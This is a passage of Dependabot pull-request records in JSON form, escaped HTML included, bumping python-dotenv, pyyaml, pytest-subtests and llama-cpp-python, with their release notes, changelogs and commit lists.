href=\"https://github.com/pytest-dev/pytest-subtests/commit/edb553875d9c55efa20b40c178785e3a0e4c616a\"\u003e\u003ccode\u003eedb5538\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/207\"\u003e#207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/compare/v0.14.2...v0.15.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `python-dotenv` from 1.0.0 to 1.2.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/theskumar/python-dotenv/releases\"\u003epython-dotenv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport reading .env from FIFOs (Unix) by \u003ca href=\"https://github.com/sidharth-sudhir\"\u003e\u003ccode\u003e@​sidharth-sudhir\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/586\"\u003etheskumar/python-dotenv#586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate CI to use trusted publishing on PyPI\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sidharth-sudhir\"\u003e\u003ccode\u003e@​sidharth-sudhir\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/586\"\u003etheskumar/python-dotenv#586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.2.0...v1.2.1\"\u003ehttps://github.com/theskumar/python-dotenv/compare/v1.2.0...v1.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: upgrade to use ruff by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/567\"\u003etheskumar/python-dotenv#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse sys.exit() instead of exit() by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/568\"\u003etheskumar/python-dotenv#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat:  add \u003ccode\u003ePYTHON_DOTENV_DISABLED\u003c/code\u003e flag to disable load_dotenv (fixes \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/510\"\u003e#510\u003c/a\u003e) by \u003ca href=\"https://github.com/matthewfranglen\"\u003e\u003ccode\u003e@​matthewfranglen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/569\"\u003etheskumar/python-dotenv#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdded Python@3.14: Github CI \u0026amp; tox.ini by \u003ca href=\"https://github.com/23f3001135\"\u003e\u003ccode\u003e@​23f3001135\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/579\"\u003etheskumar/python-dotenv#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eocs: clarify what load_dotenv() does in README by \u003ca href=\"https://github.com/cybercoded\"\u003e\u003ccode\u003e@​cybercoded\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/575\"\u003etheskumar/python-dotenv#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/577\"\u003etheskumar/python-dotenv#577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMove project metadata and config to pyproject.toml by \u003ca href=\"https://github.com/EpicWink\"\u003e\u003ccode\u003e@​EpicWink\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/583\"\u003etheskumar/python-dotenv#583\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matthewfranglen\"\u003e\u003ccode\u003e@​matthewfranglen\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/569\"\u003etheskumar/python-dotenv#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/23f3001135\"\u003e\u003ccode\u003e@​23f3001135\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/579\"\u003etheskumar/python-dotenv#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cybercoded\"\u003e\u003ccode\u003e@​cybercoded\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/575\"\u003etheskumar/python-dotenv#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/EpicWink\"\u003e\u003ccode\u003e@​EpicWink\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/583\"\u003etheskumar/python-dotenv#583\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.1.1...v1.2.0\"\u003ehttps://github.com/theskumar/python-dotenv/compare/v1.1.1...v1.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.1.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure find_dotenv work reliably on python 3.13 by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/563\"\u003etheskumar/python-dotenv#563\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(cli): issue with execvpe on Windows by \u003ca href=\"https://github.com/wrongontheinternet\"\u003e\u003ccode\u003e@​wrongontheinternet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/566\"\u003etheskumar/python-dotenv#566\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wrongontheinternet\"\u003e\u003ccode\u003e@​wrongontheinternet\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/566\"\u003etheskumar/python-dotenv#566\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.1.0...v1.1.1\"\u003ehttps://github.com/theskumar/python-dotenv/compare/v1.1.0...v1.1.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd a security policy by \u003ca href=\"https://github.com/bbc2\"\u003e\u003ccode\u003e@​bbc2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/512\"\u003etheskumar/python-dotenv#512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep GitHub Actions up to date with GitHub's Dependabot by \u003ca href=\"https://github.com/cclauss\"\u003e\u003ccode\u003e@​cclauss\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/506\"\u003etheskumar/python-dotenv#506\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: fix multiline string in test.yml \u0026amp; use fail-fast strategy by \u003ca href=\"https://github.com/cclauss\"\u003e\u003ccode\u003e@​cclauss\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/514\"\u003etheskumar/python-dotenv#514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnhance dotenv run: Switch to execvpe for better resource management and signal handling by \u003ca href=\"https://github.com/eekstunt\"\u003e\u003ccode\u003e@​eekstunt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/523\"\u003etheskumar/python-dotenv#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add py3.13 to test.yml by \u003ca href=\"https://github.com/waketzheng\"\u003e\u003ccode\u003e@​waketzheng\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/527\"\u003etheskumar/python-dotenv#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd Python 3.13 trove classifier by \u003ca href=\"https://github.com/edgarrmondragon\"\u003e\u003ccode\u003e@​edgarrmondragon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/535\"\u003etheskumar/python-dotenv#535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/529\"\u003etheskumar/python-dotenv#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for python 3.13 and drop 3.8 by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/551\"\u003etheskumar/python-dotenv#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Update README.md by \u003ca href=\"https://github.com/chapeupreto\"\u003e\u003ccode\u003e@​chapeupreto\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/516\"\u003etheskumar/python-dotenv#516\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSome more s/Python-dotenv/python-dotenv/ by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/552\"\u003etheskumar/python-dotenv#552\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/theskumar/python-dotenv/blob/main/CHANGELOG.md\"\u003epython-dotenv's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[1.2.1] - 2025-10-26\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMove more config to \u003ccode\u003epyproject.toml\u003c/code\u003e, removed \u003ccode\u003esetup.cfg\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for reading \u003ccode\u003e.env\u003c/code\u003e from FIFOs (Unix) by [\u003ca href=\"https://github.com/sidharth-sudhir\"\u003e\u003ccode\u003e@​sidharth-sudhir\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/586\"\u003e#586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.2.0] - 2025-10-26\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade build system to use PEP 517 \u0026amp; PEP 518 to use \u003ccode\u003ebuild\u003c/code\u003e and \u003ccode\u003epyproject.toml\u003c/code\u003e by [\u003ca href=\"https://github.com/EpicWink\"\u003e\u003ccode\u003e@​EpicWink\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/583\"\u003e#583\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Python 3.14 by [\u003ca href=\"https://github.com/23f3001135\"\u003e\u003ccode\u003e@​23f3001135\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/563\"\u003e#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for disabling of \u003ccode\u003eload_dotenv()\u003c/code\u003e using \u003ccode\u003ePYTHON_DOTENV_DISABLED\u003c/code\u003e env var. by [\u003ca href=\"https://github.com/matthewfranglen\"\u003e\u003ccode\u003e@​matthewfranglen\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/569\"\u003e#569\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.1.1] - 2025-06-24\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Ensure \u003ccode\u003efind_dotenv\u003c/code\u003e work reliably on python 3.13 by [\u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/563\"\u003e#563\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCLI: revert the use of execvpe on Windows by [\u003ca href=\"https://github.com/wrongontheinternet\"\u003e\u003ccode\u003e@​wrongontheinternet\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/566\"\u003e#566\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.1.0] - 2025-03-25\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFeature\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for python 3.13\u003c/li\u003e\n\u003cli\u003eEnhance \u003ccode\u003edotenv run\u003c/code\u003e, switch to \u003ccode\u003eexecvpe\u003c/code\u003e for better resource management and signal handling (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/523\"\u003e#523\u003c/a\u003e) by [\u003ca href=\"https://github.com/eekstunt\"\u003e\u003ccode\u003e@​eekstunt\u003c/code\u003e\u003c/a\u003e]\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFixed\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003efind_dotenv\u003c/code\u003e and \u003ccode\u003eload_dotenv\u003c/code\u003e now correctly looks up at the current directory when running in debugger or pdb (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/553\"\u003e#553\u003c/a\u003e by [\u003ca href=\"https://github.com/randomseed42\"\u003e\u003ccode\u003e@​randomseed42\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMisc\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.0.1] - 2024-01-23\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFixed\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eGracefully handle code which has been imported from a zipfile (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/456\"\u003e#456\u003c/a\u003e by [\u003ca href=\"https://github.com/samwyma\"\u003e\u003ccode\u003e@​samwyma\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eAllow modules using \u003ccode\u003eload_dotenv\u003c/code\u003e to be reloaded when launched in a separate thread (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/497\"\u003e#497\u003c/a\u003e by [\u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eFix file not closed after deletion, handle error in the rewrite function (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/469\"\u003e#469\u003c/a\u003e by [\u003ca href=\"https://github.com/Qwerty-133\"\u003e\u003ccode\u003e@​Qwerty-133\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMisc\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUse pathlib.Path in tests (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/466\"\u003e#466\u003c/a\u003e by [\u003ca href=\"https://github.com/eumiro\"\u003e\u003ccode\u003e@​eumiro\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eFix year in release date in changelog.md (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/454\"\u003e#454\u003c/a\u003e by [\u003ca href=\"https://github.com/jankislinger\"\u003e\u003ccode\u003e@​jankislinger\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eUse https in README links (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/474\"\u003e#474\u003c/a\u003e by [\u003ca href=\"https://github.com/Nicals\"\u003e\u003ccode\u003e@​Nicals\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/eaf2a9129ccec6febda0f741eb3bb852c3f947bd\"\u003e\u003ccode\u003eeaf2a91\u003c/code\u003e\u003c/a\u003e Do not remove .coverage file\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/8716196891532eeb67d24a513e8d975437f5e8b7\"\u003e\u003ccode\u003e8716196\u003c/code\u003e\u003c/a\u003e Bump version: 1.2.0 → 1.2.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/b87807fcad6e74332c3c63a75c92ce5814fa7a55\"\u003e\u003ccode\u003eb87807f\u003c/code\u003e\u003c/a\u003e Update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/3af77d3029eb717aeec0a3c25f751b6a614a6d3c\"\u003e\u003ccode\u003e3af77d3\u003c/code\u003e\u003c/a\u003e Support reading .env from FIFOs (Unix) (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/586\"\u003e#586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/467ee22fccb2fb7ccda71a0d9e37c6ea3cb8d993\"\u003e\u003ccode\u003e467ee22\u003c/code\u003e\u003c/a\u003e Fix test failures after moving config to pyproject.toml\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/76999e741d87e958ebd74e3ae9834c0514e77a59\"\u003e\u003ccode\u003e76999e7\u003c/code\u003e\u003c/a\u003e Move more config pyproject.toml\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/222ce2cc58ebc82ba78da8781269267b9f585932\"\u003e\u003ccode\u003e222ce2c\u003c/code\u003e\u003c/a\u003e Update to use trusted publisher on pypi\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/8ed4f79d202eba582b44bdf1f5deb726dd68783d\"\u003e\u003ccode\u003e8ed4f79\u003c/code\u003e\u003c/a\u003e Update docs requirements\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/5bf882241c607445bf02cf5b241535d62e2b99c1\"\u003e\u003ccode\u003e5bf8822\u003c/code\u003e\u003c/a\u003e Bump version: 1.1.1 → 1.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/1fe11cc737ee4399e9c51d1b69b0dd858f6b4669\"\u003e\u003ccode\u003e1fe11cc\u003c/code\u003e\u003c/a\u003e upadate changelog\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.0.0...v1.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pyyaml` from 6.0.1 to 6.0.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/yaml/pyyaml/releases\"\u003epyyaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Python 3.14 and free-threading (experimental).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/yaml/pyyaml/compare/6.0.2...6.0.3\"\u003ehttps://github.com/yaml/pyyaml/compare/6.0.2...6.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Cython 3.x and Python 3.13.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/yaml/pyyaml/compare/6.0.1...6.0.2\"\u003ehttps://github.com/yaml/pyyaml/compare/6.0.1...6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e6.0.2rc1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for extension build with Cython 3.x\u003c/li\u003e\n\u003cli\u003eSupport for Python 3.13\u003c/li\u003e\n\u003cli\u003eAdded PyPI wheels for musllinux on aarch64\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/yaml/pyyaml/blob/6.0.3/CHANGES\"\u003epyyaml's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e6.0.3 (2025-09-25)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/yaml/pyyaml/pull/864\"\u003eyaml/pyyaml#864\u003c/a\u003e -- Support for Python 3.14 and free-threading (experimental)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e6.0.2 (2024-08-06)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/yaml/pyyaml/pull/808\"\u003eyaml/pyyaml#808\u003c/a\u003e -- Support for Cython 3.x and Python 3.13\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/49790e73684bebad1df05ef8d828fa12f685bffb\"\u003e\u003ccode\u003e49790e7\u003c/code\u003e\u003c/a\u003e Release 6.0.3 (\u003ca href=\"https://redirect.github.com/yaml/pyyaml/issues/889\"\u003e#889\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/41309b0bcb4559edb1d691d47199035ef539d785\"\u003e\u003ccode\u003e41309b0\u003c/code\u003e\u003c/a\u003e Release 6.0.2 (\u003ca href=\"https://redirect.github.com/yaml/pyyaml/issues/819\"\u003e#819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/dd9f0e1236775dcce682c91823e009556ce2a271\"\u003e\u003ccode\u003edd9f0e1\u003c/code\u003e\u003c/a\u003e 6.0.2rc1 (\u003ca href=\"https://redirect.github.com/yaml/pyyaml/issues/809\"\u003e#809\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/f5527a26d518b3e9c66f9211e0af00c83f09a97e\"\u003e\u003ccode\u003ef5527a2\u003c/code\u003e\u003c/a\u003e disable CI trigger on PR edits\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/b4d8...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/146","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/146","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/146/packages"},{"uuid":"2862270437","node_id":"PR_kwDOCy7Bj86qmsfl","number":917,"state":"open","title":"Bump llama-cpp-python from 0.2.90 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":null,"author_association":"NONE","state_reason":null,"created_at":"2025-09-26T01:08:27.000Z","updated_at":"2025-09-26T01:08:28.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.2.90 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to 